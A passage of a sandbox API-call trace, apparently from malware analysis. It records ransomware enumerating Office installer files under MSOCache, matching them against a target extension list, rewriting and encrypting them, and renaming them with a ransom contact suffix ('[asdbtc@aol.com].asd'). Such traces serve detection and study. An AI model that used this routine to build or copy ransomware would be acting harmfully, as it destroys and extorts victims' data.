users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0050.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.122] lstrlenW (lpString=".doc") returned 4 [0050.122] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.122] lstrlenW (lpString=".docx") returned 5 [0050.122] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0050.122] lstrlenW (lpString=".pdf") returned 4 [0050.122] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.122] lstrlenW (lpString=".xls") returned 4 [0050.122] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.122] lstrlenW (lpString=".xlsx") returned 5 [0050.122] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0050.122] lstrlenW (lpString=".ppt") returned 4 [0050.122] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.122] lstrlenW (lpString=".zip") returned 4 [0050.122] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.122] lstrlenW (lpString=".rar") returned 4 [0050.123] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.123] lstrlenW (lpString=".bz2") returned 4 [0050.123] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.123] lstrlenW (lpString=".7z") returned 3 [0050.123] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.123] lstrlenW (lpString=".dbf") returned 4 [0050.123] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.123] lstrlenW (lpString=".1cd") returned 4 [0050.123] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.123] lstrlenW (lpString=".jpg") returned 4 [0050.123] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.123] lstrlenW (lpString=".doc") returned 4 [0050.123] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.123] lstrlenW (lpString=".docx") returned 5 [0050.123] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0050.123] lstrlenW (lpString=".pdf") returned 4 [0050.123] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.123] lstrlenW (lpString=".xls") returned 4 [0050.123] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.123] lstrlenW (lpString=".xlsx") returned 5 [0050.123] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0050.123] lstrlenW (lpString=".ppt") returned 4 [0050.123] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.123] lstrlenW (lpString=".zip") returned 4 [0050.123] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.123] lstrlenW (lpString=".rar") returned 4 [0050.124] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.124] lstrlenW (lpString=".bz2") returned 4 [0050.124] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.124] lstrlenW (lpString=".7z") returned 3 [0050.124] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.124] lstrlenW (lpString=".dbf") returned 4 [0050.124] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.124] lstrlenW (lpString=".1cd") returned 4 [0050.124] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0050.124] lstrlenW (lpString=".jpg") returned 4 [0050.124] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.124] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0050.124] lstrlenW (lpString="Office32MUI.msi") returned 15 [0050.124] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0050.124] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=873984) returned 1 [0050.125] CloseHandle (hObject=0x15c) returned 1 [0050.125] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0050.125] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.125] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0050.125] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.125] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.125] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0050.125] GetLastError () returned 0x0 [0050.125] ReadFile (in: hFile=0x15c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0050.149] WriteFile (in: hFile=0x1e8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0050.413] ReadFile (in: hFile=0x15c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.413] WriteFile (in: hFile=0x1e8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0050.413] SetEndOfFile (hFile=0x1e8) returned 1 [0050.413] CloseHandle (hObject=0x1e8) returned 1 [0050.421] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.421] SetEndOfFile (hFile=0x15c) returned 1 [0050.430] CloseHandle (hObject=0x15c) returned 1 [0050.431] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0050.431] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0050.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.431] lstrlenW (lpString=".doc") returned 4 [0050.431] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.431] lstrlenW (lpString=".docx") returned 5 [0050.431] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0050.431] lstrlenW (lpString=".pdf") returned 4 [0050.431] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.431] lstrlenW (lpString=".xls") returned 4 [0050.431] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.431] lstrlenW (lpString=".xlsx") returned 5 [0050.431] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0050.431] lstrlenW (lpString=".ppt") returned 4 [0050.431] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.432] lstrlenW (lpString=".zip") returned 4 [0050.432] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.432] lstrlenW (lpString=".rar") returned 4 [0050.432] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.432] lstrlenW (lpString=".bz2") returned 4 [0050.432] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.432] lstrlenW (lpString=".7z") returned 3 [0050.432] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.432] lstrlenW (lpString=".dbf") returned 4 [0050.432] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.432] lstrlenW (lpString=".1cd") returned 4 [0050.432] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.432] lstrlenW (lpString=".jpg") returned 4 [0050.432] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.432] lstrlenW (lpString=".doc") returned 4 [0050.432] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.432] lstrlenW (lpString=".docx") returned 5 [0050.432] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0050.432] lstrlenW (lpString=".pdf") returned 4 [0050.432] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.432] lstrlenW (lpString=".xls") returned 4 [0050.432] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.432] lstrlenW (lpString=".xlsx") returned 5 [0050.433] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0050.433] lstrlenW (lpString=".ppt") returned 4 [0050.433] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.433] lstrlenW (lpString=".zip") returned 4 [0050.433] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.433] lstrlenW (lpString=".rar") returned 4 [0050.433] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.433] lstrlenW (lpString=".bz2") returned 4 [0050.433] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.433] lstrlenW (lpString=".7z") returned 3 [0050.433] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.433] lstrlenW (lpString=".dbf") returned 4 [0050.433] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.433] lstrlenW (lpString=".1cd") returned 4 [0050.433] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0050.433] lstrlenW (lpString=".jpg") returned 4 [0050.433] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.433] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0050.433] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0050.433] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0050.434] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3124224) returned 1 [0050.434] CloseHandle (hObject=0x15c) returned 1 [0050.434] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0050.434] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.434] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0050.435] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0050.435] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0x0) returned 1 [0050.435] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.435] ReadFile (in: hFile=0x15c, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.471] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.471] ReadFile (in: hFile=0x15c, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.023] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.023] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.023] ReadFile (in: hFile=0x15c, lpBuffer=0x36d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x36d0058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.143] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.144] WriteFile (in: hFile=0x15c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2b3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0051.353] SetEndOfFile (hFile=0x15c) returned 1 [0051.353] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4015e20 [0051.356] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.356] WriteFile (in: hFile=0x15c, lpBuffer=0x4015e20*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4015e20*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.357] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.357] WriteFile (in: hFile=0x15c, lpBuffer=0x4015e20*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4015e20*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.363] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.363] WriteFile (in: hFile=0x15c, lpBuffer=0x4015e20*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4015e20*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.365] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4015e20 | out: hHeap=0x510000) returned 1 [0051.366] CloseHandle (hObject=0x15c) returned 1 [0052.407] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0052.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.408] lstrlenW (lpString=".doc") returned 4 [0052.408] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.408] lstrlenW (lpString=".docx") returned 5 [0052.408] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.408] lstrlenW (lpString=".pdf") returned 4 [0052.408] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.408] lstrlenW (lpString=".xls") returned 4 [0052.408] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.408] lstrlenW (lpString=".xlsx") returned 5 [0052.409] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.409] lstrlenW (lpString=".ppt") returned 4 [0052.409] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.409] lstrlenW (lpString=".zip") returned 4 [0052.409] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.409] lstrlenW (lpString=".rar") returned 4 [0052.409] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.409] lstrlenW (lpString=".bz2") returned 4 [0052.409] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.409] lstrlenW (lpString=".7z") returned 3 [0052.409] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.409] lstrlenW (lpString=".dbf") returned 4 [0052.409] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.409] lstrlenW (lpString=".1cd") returned 4 [0052.409] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.409] lstrlenW (lpString=".jpg") returned 4 [0052.409] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.409] lstrlenW (lpString=".doc") returned 4 [0052.409] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.409] lstrlenW (lpString=".docx") returned 5 [0052.409] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.409] lstrlenW (lpString=".pdf") returned 4 [0052.409] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.409] lstrlenW (lpString=".xls") returned 4 [0052.409] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.409] lstrlenW (lpString=".xlsx") returned 5 [0052.410] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.410] lstrlenW (lpString=".ppt") returned 4 [0052.410] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.410] lstrlenW (lpString=".zip") returned 4 [0052.410] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.410] lstrlenW (lpString=".rar") returned 4 [0052.410] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.410] lstrlenW (lpString=".bz2") returned 4 [0052.410] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.410] lstrlenW (lpString=".7z") returned 3 [0052.410] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.410] lstrlenW (lpString=".dbf") returned 4 [0052.410] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.410] lstrlenW (lpString=".1cd") returned 4 [0052.410] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.410] lstrlenW (lpString=".jpg") returned 4 [0052.410] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.410] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0052.410] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0052.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0052.411] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2503680) returned 1 [0052.411] CloseHandle (hObject=0x15c) returned 1 [0052.411] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0052.411] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.411] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0052.412] CreateFileW 